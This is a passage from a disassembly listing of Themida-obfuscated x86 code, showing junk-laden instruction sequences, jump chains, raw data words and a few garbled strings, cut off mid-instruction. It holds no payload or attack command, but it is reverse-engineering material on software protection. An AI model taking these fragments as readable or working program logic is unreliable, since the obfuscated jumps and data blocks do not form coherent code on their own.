0FF6E17E9h dd 0FFC783FFh, 5AE9DF87h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5616A7: ; CODE XREF: Themida_:005630FEj push edx jmp loc_55414F ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0F3290000h, 0FFE723E9h, 8AEB81FFh, 0E907C44Bh, 0FFFF76C1h ; --------------------------------------------------------------------------- loc_5616C4: ; CODE XREF: Themida_:0055AAB3j mov ebx, 29024088h shr ebx, 7 shl ebx, 4 jmp loc_55F0BC ; --------------------------------------------------------------------------- dd 3E6C146h, 0FDE2EE81h, 80BBB670h, 31662A31h, 0A9BAE9F3h dd 34FFFFFFh, 0C4835824h, 53BA5204h, 1079E08h, 24148BD0h dd 0FF1A12E9h, 21E959FFh, 5CFFFFB9h, 47C068h, 243C8900h dd 0E8B85055h, 0E917EE4Bh, 0FFFFECB3h, 7934AF34h, 0FDE9B12Ch dd 87000045h, 5BE9243Ch, 58FFFF7Bh, 0E9241487h, 0FFFF17E4h ; --------------------------------------------------------------------------- loc_561738: ; CODE XREF: Themida_:0055E891j mov ebp, [esp] add esp, 4 mov esi, ebp push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] add esp, 4 and eax, esi mov esi, [esp] push 5C9Fh mov [esp], eax mov eax, esp add eax, 4 jmp loc_555E08 ; --------------------------------------------------------------------------- dw 0B951h dd 5B1415C1h, 0E181D9F7h, 19B378C9h, 7306C981h, 0E9C11A0Dh dd 3EF18104h, 140D7C0h, 48B59CEh, 4C48124h, 50000000h dd 2B8h, 8BC60100h, 0BAE92404h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56179F: ; CODE XREF: Themida_:0056520Bj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55C8D0 ; --------------------------------------------------------------------------- dd 0BE56E389h, 7544444Ah, 0FF53F5E9h, 35FABFFFh, 0C14F7328h dd 0DFF707E7h, 47D7F747h, 6C8FE955h, 0E956FFFFh, 0FFFFFED5h dd 0C4DE981h, 65E97288h, 8100001Bh, 307337E2h, 0E9DAF70Fh dd 3B72h ; --------------------------------------------------------------------------- loc_5617F0: ; CODE XREF: Themida_:00565A2Ej xor ebp, esi xor esi, ebp xor ebp, esi not esi xchg esi, ebp xchg ebp, [esp] pop eax xor edx, eax xor eax, edx xor edx, eax xor eax, edx xor edx, eax xor eax, edx sub esp, 4 mov [esp], ecx push esi push ebp mov ebp, 50640CA0h mov esi, 0B7DA356Ch sub esp, 4 mov [esp], ebx mov ebx, 12232D26h push ecx jmp loc_5622E1 ; --------------------------------------------------------------------------- dd 68CAE181h, 0C1810F7Bh, 4FFD1408h, 0FF2DFDE9h db 0FFh byte_561841 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552C14o dd 83240C8Bh, 1A6804C4h, 8900000Ch, 0DFE9241Ch db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561857: ; CODE XREF: Themida_:0055B920j add edx, 4 xchg edx, [esp] pop esp shl ebx, 3 add ebx, 0ACBED3B8h mov ebp, ebx pop ebx xor ebp, 57FA1F77h sub ecx, ebp mov ebp, [esp] add esp, 4 sub eax, ecx mov ecx, [esp] add esp, 4 push ebp push ecx jmp loc_55DF8B ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 42Dh, 5E18E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56189E: ; CODE XREF: Themida_:00553E64j add ebx, 5DE24154h jmp loc_561A34 ; --------------------------------------------------------------------------- db 0E9h, 15h, 14h dd 0CD81FFFFh, 6C075EDh, 0FFDA14E9h, 48F58FFh, 34FF5C24h dd 89525824h, 4C281E2h, 83000000h, 0E904ECh, 50FFFFBCh dd 582414F7h, 0E905E0C1h, 0FFFF17D9h ; --------------------------------------------------------------------------- loc_5618E0: ; CODE XREF: Themida_:005677C4j mov ebx, ebp jmp loc_566F23 ; --------------------------------------------------------------------------- db 0FFh dd 5E042474h, 0E924048Fh, 0FFFF1978h, 8B243487h, 0EC812424h dd 4, 83240489h, 48904ECh, 1700B824h, 44291FF7h, 34FF0424h dd 5E5CE924h, 0E089FFFFh, 57A5E9h, 0D5E94E00h, 4FFFF35h dd 0E987E9CFh, 2C89FFFFh, 4BD24h, 14050000h, 1200312h dd 12142DE8h, 82E92003h, 53FFFFCEh, 4BBh, 5BDE0100h, 0FF91E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561956: ; CODE XREF: Themida_:00561306j neg eax jmp loc_55C36F ; --------------------------------------------------------------------------- loc_56195D: ; CODE XREF: Themida_:00559D57j push 0 sub [esp], eax pop eax inc eax push ebx mov ebx, 2F431CAEh jmp loc_566002 ; --------------------------------------------------------------------------- loc_561972: ; CODE XREF: Themida_:00556F69j push 5050h mov [esp], ecx jmp loc_556264 ; --------------------------------------------------------------------------- db 5Ch dd 0BA241489h, 33E38E0h, 815AD389h, 0C1C722C3h, 31E2E9FCh dd 0C4810000h, 4, 0E50EE953h, 0C483FFFFh, 242C8704h, 48F545Ch dd 4BF5724h, 56000000h, 673AD0BEh, 2474293Ch, 7C015E08h dd 44810424h, 3AD00424h, 0C6E93C67h, 5C000017h, 0FF220BE9h dd 0E97804FFh, 97Bh, 42474FFh, 24048F59h, 9DC5815Ch, 8130F554h dd 4ECh, 242C8900h, 1AAFE95Bh, 401FFFFh, 0EAE99C24h, 0BEFFFFD5h dd 238644BAh, 8105E6C1h, 95661EEh, 5EF00108h, 4BE565Fh dd 2D000000h, 101A2A99h, 0DFE9F001h, 89FFFFDFh, 0DE2958C3h dd 0E9EE015Bh, 0FFFFF794h ; --------------------------------------------------------------------------- loc_561A34: ; CODE XREF: Themida_:005618A4j sub ebx, eax sub esp, 4 jmp loc_564FB1 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FF45E3E9h, 61FF68FFh, 1C890000h, 94B55124h, 0E5E9CDFEh db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561A5B: ; CODE XREF: Themida_:005639D0j xor eax, 63C813E4h sub esp, 4 mov [esp], ebx push eax mov eax, 42434BAAh jmp loc_5665ED ; --------------------------------------------------------------------------- byte_561A71 db 83h, 0ECh, 4 ; DATA XREF: Themida_:00552AE4o dd 0BA241489h, 38h, 183F68h, 241C8900h, 0BE0BB9BBh, 56DBF729h dd 0F16C268h, 0D5E95E21h, 81FFFF78h, 0D5621FF3h, 53E94317h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561AA3: ; CODE XREF: Themida_:0056535Dj mov edi, 401847D9h jmp loc_56509B ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0E924248Bh, 17D7h, 0E9241431h, 0FFFFADCFh ; --------------------------------------------------------------------------- loc_561AC0: ; CODE XREF: Themida_:00562AA6j mov ecx, 1A3176E5h sub esp, 4 mov [esp], ecx not dword ptr [esp] pop ecx jmp loc_55FC84 ; --------------------------------------------------------------------------- loc_561AD4: ; CODE XREF: Themida_:00567845j pop ebx popa jmp loc_55B5BD ; --------------------------------------------------------------------------- loc_561ADB: ; CODE XREF: Themida_:0055E618j pop ebx add ebx, 4 jmp loc_556047 ; --------------------------------------------------------------------------- db 28h dd 3CC2E9D4h, 0C149FFFFh, 0C98104E1h, 67223791h, 1998E181h dd 0C181335Eh, 0CCBDEE74h, 36E9CA89h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B0B: ; CODE XREF: Themida_:0055CD81j pop eax push edi mov edi, 75524B8Bh push ecx mov ecx, 2A0354F4h and ecx, 91A733Bh sub ecx, 0B189D581h add edi, ecx mov ecx, [esp] jmp loc_55AC94 ; --------------------------------------------------------------------------- dw 0EB80h dd 0E2E3E969h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B36: ; CODE XREF: Themida_:0056720Cj sub ebx, eax pop eax push edx mov edx, 369736EAh sub ebx, edx pop edx sub ebx, 1C2669DBh sub ebx, 318E6D7Eh add ebx, edi add ebx, 318E6D7Eh jmp loc_55E947 ; --------------------------------------------------------------------------- db 89h dd 9E9242Ch, 81FFFFBFh, 0E4785BEAh, 5FC28109h, 810AB034h dd 6717ECEAh, 0E9C2012Ah, 0FFFF29B7h ; --------------------------------------------------------------------------- loc_561B7C: ; CODE XREF: Themida_:00564D88j mov [esp], eax mov eax, esp jmp loc_55FA6B ; --------------------------------------------------------------------------- dw 335Ch dd 4312404h, 24043324h, 4D3665Ch, 3EE99C24h, 8900001Fh dd 4C681E6h, 83000000h, 83E904C6h, 31000047h, 0DA86E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BB2: ; CODE XREF: Themida_:00553F48j add eax, 769B5119h add eax, edx jmp loc_563972 ; --------------------------------------------------------------------------- loc_561BBE: ; CODE XREF: Themida_:0055393Ej pop edx jmp loc_560370 ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 4B850h, 0C3010000h, 4EC8358h, 0FF241C89h dd 5B042474h, 0FF1B81E9h, 0E9FD01FFh, 0FFFF6054h, 8B2434FFh dd 0A9E92434h, 5CFFFF46h, 240C8B66h, 3F39E955h, 148BFFFFh dd 4C48324h, 5704C483h, 2B7285BFh, 47FDE941h, 0D3010000h dd 6B56EB81h, 95A30ABh, 68535BD9h, 48446800h, 6A07E95Bh dd 88BFFFFFh, 81486B0Dh, 6B0D8CF7h, 5FFA0148h, 46E95756h dd 54FFFF6Ch, 0FF7622E9h, 4EC83FFh, 0BB241C89h, 4, 0DC13D605h dd 56D8015Eh, 122880BEh, 0F7564631h, 0C15E2414h, 0D6F707EEh dd 6690EE81h, 0C68135A4h, 961E5615h, 0FC2AD605h, 2DF0297Eh dd 7EFC2AD6h, 0E924348Bh, 0FFFFCA47h ; --------------------------------------------------------------------------- loc_561C8C: ; CODE XREF: Themida_:00563343j pop ecx sub ecx, ebp pop ebp xchg ecx, [esp] jmp loc_565751 ; --------------------------------------------------------------------------- loc_561C98: ; CODE XREF: Themida_:00562D69j push dword ptr [esp+4] push dword ptr [esp] jmp loc_552FAB ; --------------------------------------------------------------------------- dd 3EF0F781h, 0FE0135F6h, 29C6815Fh, 17B2B61h, 6B21E9C6h dd 0C181FFFFh, 0C9617DECh, 0E959C809h, 0FFFFBD3Eh, 0E9241C8Bh dd 0FFFF1D24h, 59CB295Bh, 81FFC383h, 0C5352DCBh, 3793E907h dd 0C1810000h, 0E43EB823h, 8159CB89h, 1C7A08EFh, 68DF0149h dd 72BAh, 0E9243489h, 0FFFF316Eh, 3824248Bh, 0B8E99CC1h db 0Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D0B: ; CODE XREF: Themida_:0056779Aj add dword ptr [esp], 24A66197h pop esi push edi push esi mov esi, 7D804956h xor esi, 2C43179Eh shl esi, 6 sub esi, 5C5698D8h mov edi, esi pop esi shl edi, 6 and edi, 205078E7h jmp loc_553E0D ; --------------------------------------------------------------------------- dw 0DF87h dd 7113BD55h, 0EF017ED8h, 0FFEDBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_561D49: ; CODE XREF: Themida_:005602D8j pop esi sub eax, ebp pop ebp sub esi, eax mov eax, [esp] jmp loc_566CD0 ; --------------------------------------------------------------------------- byte_561D57 db 66h ; DATA XREF: Themida_:00552A98o dd 5124048Bh, 0E9555954h, 0FFFF88F7h ; --------------------------------------------------------------------------- loc_561D64: ; CODE XREF: Themida_:0055BEC1j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_560ECD ; --------------------------------------------------------------------------- word_561D76 dw 8B66h ; DATA XREF: Themida_:00552BDCo dd 54532404h, 0E9241C8Bh, 0FFFFA76Eh, 57241489h, 3CBFh dd 34FF5700h, 0EFE95A24h, 81FFFF89h, 2C4h, 5AD48800h, 80E7EC80h dd 0E3003DC3h, 0FF4BF8E9h, 2414F7FFh, 0B9A5E95Ah, 0C188FFFFh dd 34FF5B58h, 24048B24h, 8304C483h, 4C8804C4h, 34FF0187h dd 240C8B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 579D41BDh jmp loc_56518F ; --------------------------------------------------------------------------- dw 3433h dd 0E9525C24h, 0FFFFACEBh, 0C781E789h, 4, 0E904C783h, 0FFFF7B1Ah ; --------------------------------------------------------------------------- loc_561DF8: ; CODE XREF: Themida_:005575D0j mov [esp], ebx push 79D5h mov [esp], esi push 718F3D92h jmp loc_555BEF ; --------------------------------------------------------------------------- loc_561E0D: ; CODE XREF: Themida_:0055A72Fj mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push 4000h mov ebp, [esp] push eax mov eax, esp jmp loc_55D1E4 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5C24048Fh, 33243431h, 34312434h, 0E7DE924h, 0C147FFFFh dd 0B85008EFh, 1E318BF0h, 58A0E9h, 0E2C78100h, 0F7334D74h dd 8083E9D7h, 0F801FFFFh, 5F2434FFh, 81E78957h, 4C7h, 4BA5200h dd 1000000h, 3C875AD7h, 24248B24h, 8904EC83h, 0DCE92434h dd 83000044h, 0C48104C4h, 4, 840FC009h, 2434h, 4EC81h dd 1C890000h, 58545024h, 0FFFD9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_561EAD: ; CODE XREF: Themida_:00560038j not dword ptr [esp] pop ecx xor ecx, 0DB542D0Ch push esi push ebx mov ebx, ecx jmp loc_553243 ; --------------------------------------------------------------------------- dd 8904EC83h, 9CB82404h, 89648C77h, 0D98AE9C3h, 48BFFFFh dd 4C48124h, 0E9000000h, 0FFFF570Dh, 0F8005E2Ch, 0FF844BE9h dd 0F5295DFFh, 242C875Eh, 240C895Ch, 9244CCB9h, 1C1836Ch dd 2837BB53h, 0DBF75D4Eh, 6D00C381h, 0D929C9E0h, 22F1E95Bh dd 0F3010000h, 8324348Bh, 0B95104C4h, 128E6A0Fh, 0FF70DFE9h dd 0E95859FFh, 3CD3h, 89D68956h, 3140E9F1h, 1705FFFFh dd 29D139F5h, 0D90158C1h, 1446C181h, 0E98109F3h, 572E4F6Dh dd 0FFCBCBE9h, 240489FFh, 0FFE655E9h, 6EE181FFh, 0C120FE70h dd 0F18108E1h, 0C0504004h, 0D97C781h, 0CF011B6Fh, 0FFB0D6E9h dd 81F129FFh, 915A3E9h, 0C875E38h, 24248B24h, 54240489h dd 8324048Bh, 0BC6804C4h, 89000073h, 3768240Ch, 0E9408F6Ch dd 457Ch, 4EC81h, 0C890000h, 28C1B924h, 0C5B84F53h, 314F5328h dd 0EE8159C8h, 417D378Eh, 0A3E9C601h, 29FFFFF7h, 8B04244Ch dd 0C481240Ch, 4, 3F2D0558h, 2C8B620Fh, 4C48324h, 7F7468h dd 241C8900h, 6B4689BBh, 5EBC111h, 0EB81DBF7h, 0C0543E09h dd 0FF2C9BE9h, 4C781FFh, 81000000h, 4EFh, 243C3300h, 33243C31h dd 895C243Ch, 4812424h, 424h, 2434FF00h, 4C4835Ah, 4EC81h dd 97E90000h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56202B: ; CODE XREF: Themida_:00558628j pop ebx push ecx mov ecx, 5C346ED8h add ecx, 0ADA2F25Bh xor ebx, ecx jmp loc_558DC1 ; --------------------------------------------------------------------------- db 5Fh dd 2E981h, 7FE90000h, 87FFFF48h, 0D35C240Ch, 6CE92424h dd 87FFFF0Ch, 0BEE9240Ch, 81FFFFC5h, 4C6h, 4C68100h, 87000000h dd 0E92434h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562073: ; CODE XREF: Themida_:005586A1j add dword ptr [esp], 4 pop ebp push edx push 4 jmp loc_554E02 ; --------------------------------------------------------------------------- dw 0E5D1h dd 0FF5DB4E9h db 0FFh ; --------------------------------------------------------------------------- loc_56208D: ; CODE XREF: Themida_:00562E21j mov [esp], ecx push ebp mov ebp, 1E051F49h mov ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_563752 ; --------------------------------------------------------------------------- loc_5620A3: ; CODE XREF: Themida_:00557BD4j pop esp mov [esp], eax push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_560796 ; --------------------------------------------------------------------------- loc_5620B5: ; CODE XREF: Themida_:0056399Bj mov ebx, 1264667Fh mov edi, 0F4439FFEh add edi, ebx mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_55CEE6 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 4BD555Ch, 1000000h, 64E95DE9h, 5CFFFFFFh, 48DBE9h db 0 ; --------------------------------------------------------------------------- loc_5620ED: ; CODE XREF: Themida_:0055659Aj pop esp and ecx, edi push dword ptr [esp] mov edi, [esp] jmp loc_56357B ; --------------------------------------------------------------------------- loc_5620FB: ; CODE XREF: Themida_:00557403j push eax mov eax, esp push 55B4h mov [esp], edx push ebp mov ebp, 4 mov edx, ebp jmp loc_559B34 ; --------------------------------------------------------------------------- db 66h dd 447CC381h, 66C32966h, 447CEB81h, 0B70F5866h, 51C2E9C0h dd 5150FFFFh, 4B9h, 0E9C88900h, 0FFFF0D70h, 0E9243C31h dd 0FFFF8015h, 5368EF04h, 89000076h, 45E92414h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_56214F: ; CODE XREF: Themida_:00565D6Bj mov edx, esp push ebp jmp loc_563C28 ; --------------------------------------------------------------------------- db 83h dd 0C28002C4h, 5AD02839h, 8668525Ah, 89000076h, 0F4B1240Ch dd 0C8BCE88h, 4C48324h, 6DF5E950h, 0DFF7FFFFh, 4C3AE9h db 0 ; --------------------------------------------------------------------------- loc_562181: ; CODE XREF: Themida_:00553FFFj push ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_55B9C4 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0E904C383h, 0FFFF9EAAh, 4B30F66h, 0F0E99C24h db 0Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5621A7: ; CODE XREF: Themida_:00556E1Bj mov ecx, 78A703B3h push edx mov edx, 32357594h shr edx, 7 jmp loc_5555DA ; --------------------------------------------------------------------------- aSh db 'Shф-',0 align 10h dd 55242489h, 4BDh, 246C0100h, 815B5D04h, 4C3h, 0BB535600h dd 980DAFh, 980DB1BEh, 3B87E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5621E6: ; CODE XREF: Themida_:00563669j pop esp push ebx push esp mov ebx, [esp] jmp loc_55C3F1 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 3767E95Eh, 6842FFFFh, 0E50h, 0B8240489h, 0AC4616h, 4736E9h dd 8F665C00h, 0AADE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562216: ; CODE XREF: Themida_:0055AACCj push 52C3h mov [esp], edi push esi jmp loc_555EA4 ; --------------------------------------------------------------------------- dd 4733C0B9h, 97F18138h, 290CD465h, 0F70559C8h, 5353B42Dh dd 0FF1E9DE9h, 5AD731FFh, 34FFFA01h, 0BC685F24h, 8900000Ah dd 0E2892414h, 0FF5BA3E9h, 4C581FFh, 68000000h, 5127h dd 0BF243C89h, 6FD91AA7h, 69F6EF81h, 4DE94213h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562273: ; CODE XREF: Themida_:005556B9j mov ebx, [esp] jmp loc_558F4F ; --------------------------------------------------------------------------- db 0F6h aA_2 db 'р─Йф',0 db 0D3h, 5Ah, 88h dd 241C8BDDh, 4C481h, 0B7530000h, 8BF828CFh, 5BE9241Ch dd 9FFFF3Eh, 7F77E9F7h, 815DFFFFh, 4C4h, 0EFC1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5622AE: ; CODE XREF: Themida_:0055C7A7j not esi push edx jmp loc_562987 ; --------------------------------------------------------------------------- dd offset dword_4B5248+13C20h dw 8900h dd 0E189240Ch, 4018E9h db 0 ; --------------------------------------------------------------------------- loc_5622C5: ; CODE XREF: Themida_:005572B7j push edi mov edi, 25772C1Ah jmp loc_55C7A4 ; --------------------------------------------------------------------------- dd 97CDE959h, 0BF57FFFFh, 4, 0FF5044E9h db 0FFh ; --------------------------------------------------------------------------- loc_5622E1: ; CODE XREF: Themida_:0056182Bj mov ecx, 59092326h and ecx, 18AA754Ch neg ecx and ecx, 67201A7h xor ecx, 6B01548Bh jmp loc_55A184 ; --------------------------------------------------------------------------- loc_5622FF: ; CODE XREF: Themida_:0055511Bj push 1552h mov [esp], ebx mov ebx, esp push ecx mov ecx, 14224997h xor ecx, 3F255D22h push esi mov esi, 79110AA7h shl esi, 5 add esi, 1578F0C1h sub ecx, esi jmp loc_55BDB4 ; --------------------------------------------------------------------------- db 55h dd 42474FFh, 24048F5Dh, 0E389535Ch, 4C381h, 0EB810000h dd 4, 0E9241C87h, 0FFFF4438h, 479ABA52h, 47E94FB9h, 68FFFF6Ch dd 6712h, 0B6241489h, 0F4F680BDh, 33B35366h, 5B66DE20h dd 0FF8E4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_562371: ; CODE XREF: Themida_:0056499Bj mov [esp], ebx push 16EDh mov [esp], edx mov edx, 67347D11h jmp loc_55EB9F ; --------------------------------------------------------------------------- dw 0E980h dd 80E10008h, 5808C1h, 240C8BC8h, 6604C483h, 6CCC685Bh dd 14890000h, 6D686824h, 0C890000h, 0EDB05024h, 0D504FC34h dd 3E68E0D0h, 8900004Bh, 77E9240Ch, 55FFFF9Eh, 522814BDh dd 55ED8104h, 1AA06D5h, 0E7815DEFh, 741940C3h, 8106E7C1h dd 0FDF967EFh, 0E9FA2998h, 0FFFF15B6h, 0BB241C89h, 679210C5h dd 3D8DE953h, 0FF5EFFFFh, 815B2434h, 4C4h, 243C8700h, 0E924248Bh dd 0FFFFBE8Ch, 0EF7AE95Ah, 0E95CFFFFh, 13E1h, 0BE243489h dd 3B6481B4h, 62B1EF81h, 0BE563164h, 6BD91726h, 295EF701h dd 26EF81F7h, 816BD917h, 6462B1C7h, 923AE931h, 8956FFFFh dd 0FC19E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562446: ; CODE XREF: Themida_:0056107Bj pop ebx jmp loc_55C0C3 ; --------------------------------------------------------------------------- loc_56244C: ; CODE XREF: Themida_:0055A822j mov eax, 4 add ecx, eax mov eax, [esp] add esp, 4 jmp loc_554844 ; --------------------------------------------------------------------------- word_56245E dw 34FFh ; DATA XREF: Themida_:00552C3Co dd 240C8B24h, 273568h, 0F86E900h, 4BBFFFFh, 89000000h dd 25F2E9D8h, 4BEFFFFh, 29000000h, 1C335EF3h, 0BECAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56248A: ; CODE XREF: Themida_:00563ACDj pop ebp add esp, 4 and ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56093B ; --------------------------------------------------------------------------- loc_5624AD: ; CODE XREF: Themida_:005599A0j and ch, 1Ch jmp loc_55E166 ; --------------------------------------------------------------------------- db 59h, 31h, 0C3h dd 1CC9E9h db 0 ; --------------------------------------------------------------------------- loc_5624BD: ; CODE XREF: Themida_:00559D38j add bl, 68h pop ecx add bl, al jmp loc_56296B ; --------------------------------------------------------------------------- dd 2BA52h, 0D3010000h, 0FFD322E9h, 4C481FFh, 0B2000000h dd 0CC2E997h, 0E9570000h, 4333h, 5C685355h, 8900005Dh dd 0BB532404h, 77AD619Bh, 567272B8h, 47EFE918h, 0BD550000h dd 202B7E19h, 7893C581h, 0F745204Ah, 0D1C581DDh, 2956053Eh dd 0D8295DE8h, 0EC835756h, 242C8904h, 0FF590668h, 242C8B10h dd 0BF04C483h, 700F506Ah, 25E9EF31h, 5DFFFF57h, 78E9515Bh dd 2D00001Ch, 1C126B4Bh, 4027D435h, 25C681E6h, 0E9208938h dd 4FFAh, 0F9E9D501h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56255F: ; CODE XREF: Themida_:0055F34Fj not edx add edx, 0DFE9F103h xor eax, edx jmp loc_5538A3 ; --------------------------------------------------------------------------- dw 0DC88h dd 0FF790EE9h db 0FFh ; --------------------------------------------------------------------------- loc_562575: ; CODE XREF: Themida_:00560EB4j add ah, 0 add bl, ah mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0E9h, 0B0h dd 8300001Fh, 81E904C4h, 89FFFF12h, 0E789243Ch, 0FF5147E9h dd 0E9E389FFh, 0FFFFE96Ch, 3C03A0B8h, 2DD8F72Fh, 63D53385h dd 0B7477B0Dh, 2E0C15Ah, 507E8C1h, 3F1B41A9h, 0B132C725h dd 29BF573Ah, 816BDE20h, 0D20C25EFh, 81E7D122h, 4D50E4C7h dd 5FF821CEh, 1D1D8435h, 8BC6013Ch, 0C4812404h, 4, 0BA52C629h dd 1DCD245Bh, 8745EA87h, 0C6F281EAh, 0E904DE57h, 0F57h ; --------------------------------------------------------------------------- loc_562614: ; CODE XREF: Themida_:0055F9D7j sub ebx, 4 jmp loc_564647 ; --------------------------------------------------------------------------- dd 107D1CBEh, 0FE68172h, 4E5C6A44h, 0D6F7D6F7h, 1714BA52h dd 0D6015E6Fh, 5DC6815Ah, 167D7CFh, 0C8015EF0h, 2A7CBA52h dd 0E8E91647h, 30FFFFD7h, 5966243Ch, 32240C30h, 0C30240Ch dd 665E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56265E: ; CODE XREF: Themida_:005630EAj push eax mov eax, 4A17467Ah add eax, 79D06798h and eax, 730725F1h xor eax, 24FE7B67h not eax jmp loc_556F39 ; --------------------------------------------------------------------------- loc_56267A: ; CODE XREF: Themida_:0055B877j mov edi, esp push ebp mov ebp, 19402A2Dh push edx mov edx, 6AAF20D9h jmp loc_5532CE ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 89000000h, 0FE2958C7h, 2434875Fh, 2434895Ch, 634268h dd 24148900h, 5879B951h, 67E97FCFh db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626B3: ; CODE XREF: Themida_:00564379j pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_566058 ; --------------------------------------------------------------------------- loc_5626C1: ; CODE XREF: Themida_:0056083Aj mov [esp], edi push esp pop edi jmp loc_5673F4 ; --------------------------------------------------------------------------- loc_5626CB: ; CODE XREF: Themida_:005654B0j shr ecx, 0Ah push ebx jmp loc_556556 ; --------------------------------------------------------------------------- dd 4C48359h, 1B13E9h, 95E95A00h, 5BFFFF69h, 4C381h, 0E9500000h dd 0FFFF6D54h, 120EA81h, 1C8B0A42h, 4C48324h, 0E9241433h dd 0FFFFF3B4h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FF238DE9h db 0FFh ; --------------------------------------------------------------------------- loc_562719: ; CODE XREF: Themida_:005593AFj pop ecx pop edi jmp loc_55DFA8 ; --------------------------------------------------------------------------- dd 4C481h, 0EA810000h, 58A01A1Ah, 2AB1E9h db 0 ; --------------------------------------------------------------------------- loc_562731: ; CODE XREF: Themida_:0055B59Ej add edi, ebx jmp loc_56776A ; --------------------------------------------------------------------------- dd 1C8BD909h, 4C48324h, 0A092F181h, 0C28181AFh, 746328F3h dd 0BE9CA29h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562753: ; CODE XREF: Themida_:005580C6j xor eax, ebp pop ebp jmp loc_55DD5C ; --------------------------------------------------------------------------- db 0BBh dd 54550C2h, 4825E381h, 7FE96530h db 5, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56276B: ; CODE XREF: Themida_:00559D19j mov dl, 5Ch jmp loc_55810B ; --------------------------------------------------------------------------- loc_562772: ; CODE XREF: Themida_:00562F09j mov eax, [esp] add esp, 4 add esp, 4 add eax, 49842D40h push 1F5Ch mov [esp], ecx jmp loc_55DF0D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 48B7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56279E: ; CODE XREF: Themida_:00566A5Ej mov [esp], ebx mov bl, 0CDh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ecx mov cl, 0CDh sub esp, 4 mov [esp], edx mov dh, 1Ch jmp loc_552CF7 ; --------------------------------------------------------------------------- dw 0EE81h dd 726978EEh, 0FF1A10E9h, 243C89FFh, 0FF6C27E9h db 0FFh ; --------------------------------------------------------------------------- loc_5627E1: ; CODE XREF: Themida_:0055B7B8j add bl, 96h add bl, al push 969h mov [esp], edx mov dl, 96h jmp loc_5672C6 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C3h dd 4, 5C241C87h, 8904EC83h, 74FF243Ch, 8F5F0424h, 248B2404h dd 5E5AE924h, 0F0BFFFFFh, 0E9429168h, 0FFFF79B1h, 3304C383h dd 1C31241Ch, 241C3324h, 0FFFBDDE9h db 0FFh ; --------------------------------------------------------------------------- loc_562831: ; CODE XREF: Themida_:00558344j xchg eax, [esp] jmp loc_55A819 ; --------------------------------------------------------------------------- db 0D1h, 0E5h, 81h dd 0AE9604EDh, 246C01DDh, 44295D08h, 0B8500424h, 13357C8h dd 8246C81h, 16483493h, 8244429h, 1DEDE955h, 0C8B0000h dd 0C237E924h, 0C87FFFFh, 0E3C15C24h, 15E95707h, 0DFFFFD8h dd 440C5C26h, 7783122Dh, 8BC601A8h, 0C4812404h, 4, 15EF701h dd 243C8BF8h, 4C481h, 0F2E90000h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56289F: ; CODE XREF: Themida_:00557994j mov edx, 4 sub eax, 15D256F1h sub eax, edx add eax, 15D256F1h pop edx xchg eax, [esp] pop esp jmp 